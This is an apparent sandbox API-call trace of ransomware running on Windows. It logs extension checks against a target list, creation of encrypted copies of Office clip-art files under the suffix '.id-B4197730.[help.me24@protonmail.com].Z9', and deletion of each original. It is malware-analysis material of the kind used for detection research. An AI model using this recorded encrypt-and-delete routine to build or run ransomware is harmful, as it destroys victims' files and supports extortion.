	[0185.179] lstrlenW (lpString=".zip") returned 4
	[0185.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.180] lstrlenW (lpString=".rar") returned 4
	[0185.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.180] lstrlenW (lpString=".bz2") returned 4
	[0185.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.180] lstrlenW (lpString=".7z") returned 3
	[0185.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.180] lstrlenW (lpString=".dbf") returned 4
	[0185.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.180] lstrlenW (lpString=".1cd") returned 4
	[0185.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152716.WMF") returned 68
	[0185.180] lstrlenW (lpString=".jpg") returned 4
	[0185.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.180] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.180] lstrlenW (lpString="J0152722.WMF") returned 12
	[0185.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.182] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=7020) returned 1
	[0185.182] CloseHandle (hObject=0x53c) returned 1
	[0185.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 0x220
	[0185.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.183] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.183] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0185.566] GetLastError () returned 0x0
	[0185.566] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1b6c, lpOverlapped=0x0) returned 1
	[0185.571] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1b70, lpOverlapped=0x0) returned 1
	[0185.572] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.572] WriteFile (in: hFile=0x4a4, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.572] SetEndOfFile (hFile=0x4a4) returned 1
	[0185.572] CloseHandle (hObject=0x4a4) returned 1
	[0185.573] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.573] SetEndOfFile (hFile=0x53c) returned 1
	[0185.589] CloseHandle (hObject=0x53c) returned 1
	[0185.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152722.wmf")) returned 1
	[0185.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.591] lstrlenW (lpString=".doc") returned 4
	[0185.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.591] lstrlenW (lpString=".docx") returned 5
	[0185.591] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0185.591] lstrlenW (lpString=".pdf") returned 4
	[0185.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.591] lstrlenW (lpString=".xls") returned 4
	[0185.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.591] lstrlenW (lpString=".xlsx") returned 5
	[0185.591] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0185.591] lstrlenW (lpString=".ppt") returned 4
	[0185.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.591] lstrlenW (lpString=".zip") returned 4
	[0185.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.591] lstrlenW (lpString=".rar") returned 4
	[0185.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.591] lstrlenW (lpString=".bz2") returned 4
	[0185.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.591] lstrlenW (lpString=".7z") returned 3
	[0185.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.592] lstrlenW (lpString=".dbf") returned 4
	[0185.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.592] lstrlenW (lpString=".1cd") returned 4
	[0185.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.592] lstrlenW (lpString=".jpg") returned 4
	[0185.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.592] lstrlenW (lpString=".doc") returned 4
	[0185.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.592] lstrlenW (lpString=".docx") returned 5
	[0185.592] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0185.592] lstrlenW (lpString=".pdf") returned 4
	[0185.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.592] lstrlenW (lpString=".xls") returned 4
	[0185.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.592] lstrlenW (lpString=".xlsx") returned 5
	[0185.592] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0185.592] lstrlenW (lpString=".ppt") returned 4
	[0185.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.592] lstrlenW (lpString=".zip") returned 4
	[0185.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.593] lstrlenW (lpString=".rar") returned 4
	[0185.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.593] lstrlenW (lpString=".bz2") returned 4
	[0185.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.593] lstrlenW (lpString=".7z") returned 3
	[0185.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.593] lstrlenW (lpString=".dbf") returned 4
	[0185.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.593] lstrlenW (lpString=".1cd") returned 4
	[0185.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152722.WMF") returned 68
	[0185.593] lstrlenW (lpString=".jpg") returned 4
	[0185.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.593] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.593] lstrlenW (lpString="J0152882.WMF") returned 12
	[0185.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.597] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=9072) returned 1
	[0185.597] CloseHandle (hObject=0x53c) returned 1
	[0185.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 0x220
	[0185.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.598] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.598] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0185.599] GetLastError () returned 0x0
	[0185.599] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x2370, lpOverlapped=0x0) returned 1
	[0185.613] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2380, lpOverlapped=0x0) returned 1
	[0185.615] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.615] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.615] SetEndOfFile (hFile=0x56c) returned 1
	[0185.615] CloseHandle (hObject=0x56c) returned 1
	[0185.615] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.615] SetEndOfFile (hFile=0x53c) returned 1
	[0185.619] CloseHandle (hObject=0x53c) returned 1
	[0185.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 1
	[0185.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.621] lstrlenW (lpString=".doc") returned 4
	[0185.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.621] lstrlenW (lpString=".docx") returned 5
	[0185.621] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0185.621] lstrlenW (lpString=".pdf") returned 4
	[0185.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.621] lstrlenW (lpString=".xls") returned 4
	[0185.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.621] lstrlenW (lpString=".xlsx") returned 5
	[0185.621] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0185.621] lstrlenW (lpString=".ppt") returned 4
	[0185.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.621] lstrlenW (lpString=".zip") returned 4
	[0185.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.621] lstrlenW (lpString=".rar") returned 4
	[0185.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.621] lstrlenW (lpString=".bz2") returned 4
	[0185.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.622] lstrlenW (lpString=".7z") returned 3
	[0185.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.622] lstrlenW (lpString=".dbf") returned 4
	[0185.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.622] lstrlenW (lpString=".1cd") returned 4
	[0185.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.622] lstrlenW (lpString=".jpg") returned 4
	[0185.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.622] lstrlenW (lpString=".doc") returned 4
	[0185.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.622] lstrlenW (lpString=".docx") returned 5
	[0185.622] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0185.622] lstrlenW (lpString=".pdf") returned 4
	[0185.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.622] lstrlenW (lpString=".xls") returned 4
	[0185.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.622] lstrlenW (lpString=".xlsx") returned 5
	[0185.622] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0185.622] lstrlenW (lpString=".ppt") returned 4
	[0185.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.622] lstrlenW (lpString=".zip") returned 4
	[0185.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.623] lstrlenW (lpString=".rar") returned 4
	[0185.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.623] lstrlenW (lpString=".bz2") returned 4
	[0185.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.623] lstrlenW (lpString=".7z") returned 3
	[0185.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.623] lstrlenW (lpString=".dbf") returned 4
	[0185.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.623] lstrlenW (lpString=".1cd") returned 4
	[0185.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68
	[0185.623] lstrlenW (lpString=".jpg") returned 4
	[0185.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.623] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.623] lstrlenW (lpString="J0152884.WMF") returned 12
	[0185.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.625] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=6956) returned 1
	[0185.625] CloseHandle (hObject=0x53c) returned 1
	[0185.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 0x220
	[0185.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0185.626] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.626] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0185.628] GetLastError () returned 0x0
	[0185.628] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x1b2c, lpOverlapped=0x0) returned 1
	[0185.913] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1b30, lpOverlapped=0x0) returned 1
	[0185.914] ReadFile (in: hFile=0x53c, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.914] WriteFile (in: hFile=0x56c, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.914] SetEndOfFile (hFile=0x56c) returned 1
	[0185.914] CloseHandle (hObject=0x56c) returned 1
	[0185.915] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.915] SetEndOfFile (hFile=0x53c) returned 1
	[0185.917] CloseHandle (hObject=0x53c) returned 1
	[0185.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152884.wmf")) returned 1
	[0185.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.921] lstrlenW (lpString=".doc") returned 4
	[0185.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.921] lstrlenW (lpString=".docx") returned 5
	[0185.921] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0185.921] lstrlenW (lpString=".pdf") returned 4
	[0185.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.921] lstrlenW (lpString=".xls") returned 4
	[0185.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.921] lstrlenW (lpString=".xlsx") returned 5
	[0185.921] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0185.921] lstrlenW (lpString=".ppt") returned 4
	[0185.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.921] lstrlenW (lpString=".zip") returned 4
	[0185.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.922] lstrlenW (lpString=".rar") returned 4
	[0185.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.922] lstrlenW (lpString=".bz2") returned 4
	[0185.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.922] lstrlenW (lpString=".7z") returned 3
	[0185.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.922] lstrlenW (lpString=".dbf") returned 4
	[0185.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.922] lstrlenW (lpString=".1cd") returned 4
	[0185.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.922] lstrlenW (lpString=".jpg") returned 4
	[0185.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152884.WMF") returned 68
	[0185.922] lstrlenW (lpString=".doc") returned 4
	[0185.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.922] lstrlenW (lpString=".docx") returned 5
	[0185.922] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0185.922] lstrlenW (lpString=".pdf") returned 4
	[0185.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.922] lstrlenW (lpString=".xls") returned 4
	[0185.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.922] lstrlenW (lpString=".xlsx") returned 5
	[0185.922] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0185.922] lstrlenW (lpString=".ppt") returned 4
	[0185.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
